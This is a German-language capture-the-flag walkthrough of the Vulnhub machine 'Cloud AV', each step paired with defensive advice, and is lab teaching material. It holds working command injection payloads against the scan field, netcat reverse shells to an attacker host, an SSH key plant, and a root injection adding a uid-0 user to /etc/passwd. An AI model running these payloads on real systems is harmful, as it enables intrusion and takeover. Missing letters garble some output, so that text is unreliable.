BoredHackerBlog - Cloud AV - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
vi
nc
find
getcap
dmesg
uname
file
cat
ls

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.114 08:00:27:ba:a5:ba PCS Systemtechnik GmbH

Der Befehl arp-scan -l führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.114) und die MAC-Adresse (08:00:27:ba:a5:ba) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.

**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.114 bored.vln

Der Befehl vi /etc/hosts fügt eine Zuordnung der IP-Adresse 192.168.2.114 zum Hostnamen "bored.vln" in der /etc/hosts-Datei hinzu. Dies ermöglicht es uns, den Hostnamen anstelle der IP-Adresse zu verwenden.

**Empfehlung:** Verwenden Sie DNS-Server für die Namensauflösung, um eine zentralisierte Verwaltung der Hostnamen zu ermöglichen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.114 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-29 22:36 CEST
Nmap scan report for bored.vln (192.168.2.114)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6a:42:4b:7c:2a:06:0f:50:4b:32:cf:b8:31:e9:c4:f4 (RSA)
| 256 81:c7:60:0f:d7:1e:56:f7:a3:1e:9f:76:27:bd:31:27 (ECDSA)
|_ 256 71:90:c3:26:ba:3b:e8:b3:53:7e:73:53:27:4d:6b:af (ED25519)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:BA:A5:BA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Der Befehl nmap -sS -sC -sV -T5 -A 192.168.2.114 -p- führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:

  • Port 22 (SSH): OpenSSH 7.6p1 Ubuntu 4
  • Port 8080 (HTTP): Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
Der Werkzeug httpd Server ist ein Hinweis auf eine Python Webanwendung.

**Empfehlung:** Beschränken Sie den Zugriff auf unnötige Ports, um die Angriffsfläche zu verringern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.114 -p- | grep open
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)

Dieser Befehl filtert die Ausgabe des vorherigen Nmap-Scans, um nur die offenen Ports anzuzeigen.

Web Enumeration

Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.114:8080
- Nikto v2.5.0

+ Target IP: 192.168.2.114
+ Target Hostname: 192.168.2.114
+ Target Port: 8080
+ Start Time: 2023-06-29 22:37:46 (GMT2)

+ Server: Werkzeug/0.14.1 Python/2.7.15rc1
+ /: The anti-clickjacking X-Frame-ptions header is not present. + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content... + No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/2.7.15rc1 appears to be outdated (current is at least 3.9.6).
+ PTIONS: Allowed HTTP Methods: HEAD, PTIONS, GET .
+ /console: This might be interesting.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8103 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-06-29 22:38:02 (GMT2) (16 seconds)

+ 1 host(s) tested

nikto -h 192.168.2.114:8080 ist ein Tool, das Webserver auf bekannte Schwachstellen untersucht. Nikto identifiziert mehrere interessante Punkte:

  • Fehlende X-Frame-ptions und X-Content-Type-ptions Header (Sicherheitslücken)
  • Veraltete Python Version
  • Vorhandensein von "/console" (könnte ein Debugging-Interface sein)
  • Hinweis auf eine wp-config.php Datei

**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader und aktualisieren Sie die Python-Version. Beschränken Sie den Zugriff auf sensible Dateien.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://bored.vln:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://bored.vln:8080/login (Status: 405) [Size: 178]
http://bored.vln:8080/scan (Status: 200) [Size: 48]
http://bored.vln:8080/console (Status: 200) [Size: 1985]

gobuster dir -u http://bored.vln:8080 ... verwendet eine Wordlist, um versteckte Verzeichnisse auf dem Webserver zu finden. Interessante Ergebnisse sind:

  • /login (Status: 405 Method Not Allowed)
  • /scan (Status: 200)
  • /console (Status: 200)

**Empfehlung:** Überprüfen Sie die Konfiguration des Webservers, um sicherzustellen, dass keine sensiblen Verzeichnisse öffentlich zugänglich sind.

http://bored.vln:8080/login
405 Method Not Allowed
The method is not allowed for the requested URL.

Ein Zugriff auf /login resultiert in "405 Method Not Allowed".

Initial Access

In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.

view-source:http://bored.vln:8080/console
src="?__debugger__=yes&cmd=resource&f=debugger.js"
var TRACEBACK = -1,
CNSLE_MDE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "46vMGrahErCNznEfDy7H";

Das Anzeigen des Quellcodes von "http://bored.vln:8080/console" gibt uns einen wichtigen Hinweis: ein Debugger ist aktiv! Wir finden die Variable SECRET mit dem Wert "46vMGrahErCNznEfDy7H". Dies ist wahrscheinlich das Passwort, um Befehle auszuführen.

**Empfehlung:** Deaktivieren Sie Debug-Funktionen in Produktionsumgebungen, um sensible Informationen nicht preiszugeben.

http://bored.vln:8080/
" R "1" ="1
Cloud Anti-Virus Scanner!
Try scanning some of these files with our scanner!

total 4756
-rwxr-xr-x 1 scanner scanner 1113504 ct 21 2018 bash
-rwxr-xr-x 1 scanner scanner 34888 ct 21 2018 bzip2
-rwxr-xr-x 1 scanner scanner 35064 ct 21 2018 cat
-rw-rw-r-- 1 scanner scanner 68 ct 21 2018 eicar
-rw-rw-r-- 1 scanner scanner 5 ct 21 2018 hello
-rwxr-xr-x 1 scanner scanner 35312 ct 21 2018 netcat
-rwxr-xr-x 1 scanner scanner 3633560 ct 21 2018 python

Der Webserver zeigt eine Liste mit ausführbaren Programmen.

http://bored.vln:8080/scan
hello

Ein Scan von "hello" ist möglich.

http://bored.vln:8080/output
-- SCAN SUMMARY --
Known viruses: 1781125
Engine version: 0.103.8
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 27.994 sec (0 m 27 s)
Start Date: 2023:06:29 21:11:33
End Date: 2023:06:29 21:12:01

Die Ausgabe des Scans.

http://bored.vln:8080/scan

hello;cat /etc/passwd
http://bored.vln:8080/output

Hier wird versucht, den Befehl "cat /etc/passwd" über die Scan-Funktion auszuführen. Dies deutet auf eine Command Injection hin.

**Empfehlung:** Validieren und bereinigen Sie alle Eingaben, um Command Injections zu verhindern.

-- SCAN SUMMARY --
Known viruses: 8669716
Engine version: 0.103.8
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 77.316 sec (1 m 17 s)
Start Date: 2023:06:29 21:13:15
End Date: 2023:06:29 21:14:33

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106/home/syslog:/usr/sbin/nologin
messagebus:x:103:107/nonexistent:/usr/sbin/nologin
_apt:x:104:65534/nonexistent:/usr/sbin/nologin
lxd:x:105:65534/var/lib/lxd/:/bin/false
uuidd:x:106:110/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1/var/cache/pollinate:/bin/false
sshd:x:110:65534/run/sshd:/usr/sbin/nologin
cloudav:x:1000:1000:cloudav:/home/cloudav:/bin/bash
scanner:x:1001:1001:scanner,,,:/home/scanner:/bin/bash
clamav:x:111:113/var/lib/clamav:/bin/false

Der Befehl "cat /etc/passwd" wurde erfolgreich ausgeführt und die Ausgabe angezeigt. Wir haben nun Zugriff auf die Benutzerinformationen des Systems.

**Empfehlung:** Beschränken Sie die Ausführungsrechte von Webanwendungen auf das unbedingt Notwendige.

http://bored.vln:8080/scan

hello;nc -e /bin/bash 192.168.2.137 9001

Es wird versucht, eine Reverse Shell mit Netcat zu starten.

http://bored.vln:8080/scan

hello;ls -la /home
....

drwxr-xr-x 4 root root 4096 ct 21 2018 .
drwxr-xr-x 23 root root 4096 Jun 29 21:04 ..
drwxr-xr-x 4 cloudav cloudav 4096 ct 24 2018 cloudav
drwxr-xr-x 6 scanner scanner 4096 ct 24 2018 scanner

Die Home-Verzeichnisse "cloudav" und "scanner" werden angezeigt.

hello;ls -la /home/scanner [scan]
....

Start Date: 2023:06:29 21:20:34
End Date: 2023:06:29 21:21:35
total 60
drwxr-xr-x 6 scanner scanner 4096 ct 24 2018 .
drwxr-xr-x 4 root root 4096 ct 21 2018 ..
-rw------- 1 scanner scanner 5 ct 24 2018 .bash_history
-rw-r--r-- 1 scanner scanner 220 ct 21 2018 .bash_logout
-rw-r--r-- 1 scanner scanner 3771 ct 21 2018 .bashrc
drwx------ 2 scanner scanner 4096 ct 21 2018 .cache
drwxrwxr-x 4 scanner scanner 4096 ct 24 2018 cloudav_app
drwx 3 scanner scanner 4096 ct 21 2018 .gnupg
drwxrwxr-x 3 scanner scanner 4096 ct 21 2018 .local
-rw-r--r-- 1 scanner scanner 807 ct 21 2018 .profile
-rw-rw-r-- 1 scanner scanner 66 ct 21 2018 .selected_editor
-rwsr-xr-x 1 root scanner 8576 ct 24 2018 update_cloudav
-rw-rw-r-- 1 scanner scanner 393 ct 24 2018 update_cloudav.c

Im Home-Verzeichnis "scanner" finden wir die Datei "update_cloudav" mit dem SUID-Bit gesetzt. Dies ist ein interessanter Kandidat für eine Privilegieneskalation.

hello;ls -la /home/cloudav
drwxr-xr-x 4 cloudav cloudav 4096 ct 24 2018 .
drwxr-xr-x 4 root root 4096 ct 21 2018 ..
-rw-r--r-- 1 cloudav cloudav 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 cloudav cloudav 3771 Apr 4 2018 .bashrc
drwx------ 2 cloudav cloudav 4096 ct 21 2018 .cache
drwx 3 cloudav cloudav 4096 ct 21 2018 .gnupg
-rw-r--r-- 1 cloudav cloudav 807 Apr 4 2018 .profile
-rw-r--r-- 1 cloudav cloudav 0 ct 21 2018 .sudo_as_admin_successful
hello;mkdir /home/cloudav/.ssh; echo 'ssh-rsa AAAAB3NzaC1yc...aLzoF/Q4J+MFrnGqUTeHLd6484HTH/c= root@cyber' > /home/cloudav/.ssh/authorized_keys;chmod +x /home/cloudav/.ssh/authorized_keys

Es wird versucht, einen SSH-Key in das Verzeichnis /home/cloudav/.ssh/authorized_keys zu schreiben. Dies würde ermöglichen, sich ohne Passwort als Benutzer cloudav anzumelden.

**Empfehlung:** Beschränken Sie die Berechtigungen auf Home-Verzeichnisse, um unbefugtes Schreiben zu verhindern.

hello;ls -la /home/cloudav
┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555
hello;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f

Es wird versucht, eine Reverse Shell mit Netcat zu starten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555
connect to [192.168.2.137] from (UNKNWN) [192.168.2.114] 54536
/bin/sh: 0: can't access tty; job control turned off
$

Wir erhalten eine Shell als scanner.

scanner@cloudav/cloudav_app$ ls -la
total 24
drwxrwxr-x 4 scanner scanner 4096 ct 24 2018 .
drwxr-xr-x 6 scanner scanner 4096 ct 24 2018 ..
-rw-rw-r-- 1 scanner scanner 1550 ct 24 2018 app.py
-rw-r--r-- 1 scanner scanner 2048 ct 21 2018 database.sql
drwxrwxr-x 2 scanner scanner 4096 ct 21 2018 samples
drwxrwxr-x 2 scanner scanner 4096 ct 21 2018 templates

Die Dateien im cloudav_app verzeichnis.

scanner@cloudav/cloudav_app$ cat database.sql
Jitablen[tablecodecodeCREATE TABLE -> code (
password TEXT
#cloudavtech1mysecondinvitecode+myinvitecode123

Die Datenbank Datei.

scanner@cloudav/cloudav_app$ cat app.py
from flask import Flask, render_template, request, session
import sqlite3
import subprocess
import os

conn = sqlite3.connect('database.sql',check_same_thread = False)
c = conn.cursor()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/login', methods=['PST'])
def login():
password = request form['password']
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
session['logged_in'] = True
return 'Redirecting to /scan.'
else:
return "WRNG INFRMATIN"

Der Python Code der Webanwendung.

scanner@cloudav/cloudav_app$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 0.0.0.0:8080 0.0.0.0:* users:(("ss",pid=24886,fd=10),("ss",pid=24886,fd=4),("bash",pid=24850,fd=10),("bash",pid=24850,fd=4),("python",pid=24849,fd=10),("python",pid=24849,fd=4),("nc",pid=24847,fd=10),("nc",pid=24847,fd=4),("sh",pid=24846,fd=10),("sh",pid=24846,fd=4),("cat",pid=24845,fd=10),("cat",pid=24845,fd=4),("sh",pid=24841,fd=10),("sh",pid=24841,fd=4),("python",pid=2432,fd=10),("python",pid=2432,fd=4),("python",pid=756,fd=4))
LISTEN 0 128 []:22 []:*

Die laufenden Prozesse auf dem System.

scanner@cloudav:/var/mail$ find / -type f -perm -4000 -ls 2>/dev/null
11827 44 -rwsr-xr-- 1 root messagebus 42992 ct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
7466 100 -rwsr-sr-x 1 root root 101208 Jul 19 2018 /usr/lib/snapd/snap-confine
1352 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
1847 428 -rwsr-xr-x 1 root root 436552 Feb 10 2018 /usr/lib/openssh/ssh-keysign
8286 16 -rwsr-xr-x 1 root root 14328 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
1775 80 -rwsr-xr-x 1 root root 80056 Aug 1 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
8284 24 -rwsr-xr-x 1 root root 22520 Jan 12 2022 /usr/bin/pkexec
1158 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
993 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
974 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
976 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
755 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
847 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
11239 40 -rwsr-xr-x 1 root root 40344 Nov 29 2022 /usr/bin/newgrp
753 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
702 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
1122 148 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
409800 12 -rwsr-xr-x 1 root scanner 8576 ct 24 2018 /home/scanner/update_cloudav
66 40 -rwsr-xr-x 1 root root 40152 Jun 14 2022 /snap/core/15419/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/15419/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/15419/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Nov 29 2022 /snap/core/15419/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jun 14 2022 /snap/core/15419/bin/umount
2607 71 -rwsr-xr-x 1 root root 71824 Nov 29 2022 /snap/core/15419/usr/bin/chfn
2609 40 -rwsr-xr-x 1 root root 40432 Nov 29 2022 /snap/core/15419/usr/bin/chsh
2686 74 -rwsr-xr-x 1 root root 75304 Nov 29 2022 /snap/core/15419/usr/bin/gpasswd
2778 39 -rwsr-xr-x 1 root root 39904 Nov 29 2022 /snap/core/15419/usr/bin/newgrp
2791 53 -rwsr-xr-x 1 root root 54256 Nov 29 2022 /snap/core/15419/usr/bin/passwd
2901 134 -rwsr-xr-x 1 root root 136808 Jan 17 12:59 /snap/core/15419/usr/bin/sudo
3000 42 -rwsr-xr-- 1 root systemd-resolve 42992 ct 26 2022 /snap/core/15419/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3372 419 -rwsr-xr-x 1 root root 428240 ct 7 2022 /snap/core/15419/usr/lib/openssh/ssh-keysign
6446 125 -rwsr-xr-x 1 root root 127656 May 12 10:14 /snap/core/15419/usr/lib/snapd/snap-confine
7634 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/15419/usr/sbin/pppd
131271 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
131272 44 -rwsr-xr-x 1 root root 44664 Nov 29 2022 /bin/su
131192 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
131141 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
131399 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit gesetzt. SUID-Binaries können potenziell ausgenutzt werden, um Privilegien zu erhöhen. In diesem Fall ist /home/scanner/update_cloudav ein interessanter Kandidat.

**Empfehlung:** Überprüfen Sie regelmäßig die SUID-Binaries auf Ihrem System und stellen Sie sicher, dass sie sicher konfiguriert sind.

scanner@cloudav:/var/mail$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1664 ct 21 2018 /etc/passwd

Die Berechtigungen der /etc/passwd Datei werden geprüft.

scanner@cloudav:/var/mail$ getcap -r / 2>/dev/null

Der Befehl getcap -r / 2>/dev/null listet Dateien mit gesetzten Dateisystem-Capabilities auf. Dies ist ein weiterer Ansatz zur Privilegieneskalation.

**Empfehlung:** Entfernen Sie unnötige Capabilities von Dateien, um die Angriffsfläche zu verringern.

scanner@cloudav:/var/mail$ dmesg | grep pass
[ 0.004604] Speculative Store Bypass: Vulnerable
[ 0.478999] ima: No TPM chip found, activating TPM-bypass! (rc=-19)
[ 0.604811] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[ 1.003442] [drm] Cursor bypass.
[ 1.003549] [drm] Cursor bypass 2.

Sucht im Kernel Log nach Hinweisen auf Sicherheitslücken.

scanner@cloudav:/var/mail$ uname -a
Linux cloudav 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Die Kernel Version.

scanner@cloudav:/var/mail$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Die Cronjobs werden geprüft.

Privilege Escalation

scanner@cloudav:/var/mail$ cd ~/../cloudav/
scanner@cloudav:/home/cloudav$ sudo -l
[sudo] password for scanner:
Sorry, try again.
[sudo] password for scanner:
Sorry, try again.
[sudo] password for scanner:
sudo: 2 incorrect password attempts

Es wird versucht, Befehle mit Sudo auszuführen.

scanner@cloudav:/home/cloudav$ su cloudav
Password:
su: Authentication failure
scanner@cloudav:/home/cloudav$

Es wird versucht, sich als der Benutzer anzumelden.

scanner@cloudav:/home/cloudav$ file /home/scanner/update_cloudav
/home/scanner/update_cloudav: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]= 85920076615efed0c3b83a74aa1ac85ab72fb12f, not stripped

Die Datei "/home/scanner/update_cloudav" ist ein SUID-Binary.

scanner@cloudav:/home/cloudav$ ls -la /home/scanner/update_cloudav
-rwsr-xr-x 1 root scanner 8576 ct 24 2018 /home/scanner/update_cloudav
scanner@cloudav:/home/cloudav$ cd ~
scanner@cloudav$ ls
cloudav_app update_cloudav update_cloudav.c
scanner@cloudav$ cat update_cloudav.c
#include

int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rules\n Please supply command line arguments for freshclam\n");
return 1;
}

char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}

Der Quellcode von "update_cloudav.c" zeigt, dass das Programm den Befehl "freshclam" mit den vom Benutzer angegebenen Argumenten ausführt. Da das Programm mit Root-Rechten läuft, können wir dies ausnutzen, um beliebige Befehle als Root auszuführen.

scanner@cloudav$ ./update_cloudav '| whoami >> out.txt'
ERRR: Problem with internal logger (UpdateLogFile = /var/log/clamav/freshclam.log).
ERRR: initialize: libfreshclam init failed.
ERRR: Initialization error!
scanner@cloudav$ cat out.txt
ERRR: /var/log/clamav/freshclam.log is locked by another process
root
root
root
root
./update_cloudav '| echo "hack:\$6\$EZdVo4Xc..../VU/TR2E1tzF0:0:0:root:/root:/bin/bash" >> /etc/passwd'

Es wird versucht, einen neuen Benutzer "hack" mit einem bekannten Passwort zur /etc/passwd hinzuzufügen.

┌──(root㉿cyber)-[~/HackingTools/Werkzeug-Debug-RCE]
└─# nc -lvnp 5557
listening on [any] 5557 ...
./update_cloudav '| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5557 >/tmp/f'

Erneuter Versuch eine Reverse Shell mithilfe der update_cloudav zu starten.

┌──(root㉿cyber)-[~/HackingTools/Werkzeug-Debug-RCE]
└─# nc -lvnp 5557
listening on [any] 5557 ...
connect to [192.168.2.137] from (UNKNWN) [192.168.2.114] 60360
#

Wir haben Root-Zugriff erlangt!

# cd /root
ls
ls -la
total 28
drwx------ 5 root root 4096 ct 24 2018 .
drwxr-xr-x 23 root root 4096 Jun 29 21:04 ..
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 3 root root 4096 ct 21 2018 .cache
drwxr-xr-x 3 root root 4096 ct 21 2018 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 ct 21 2018 .ssh
# ls -la /root/.ssh
total 8
drwx------ 2 root root 4096 ct 21 2018 .
drwx------ 5 root root 4096 ct 24 2018 ..
-rw------- 1 root root 0 ct 21 2018 authorized_keys
# cat /root/.ssh/authorized_keys

Privilege Escalation erfolgreich

Flags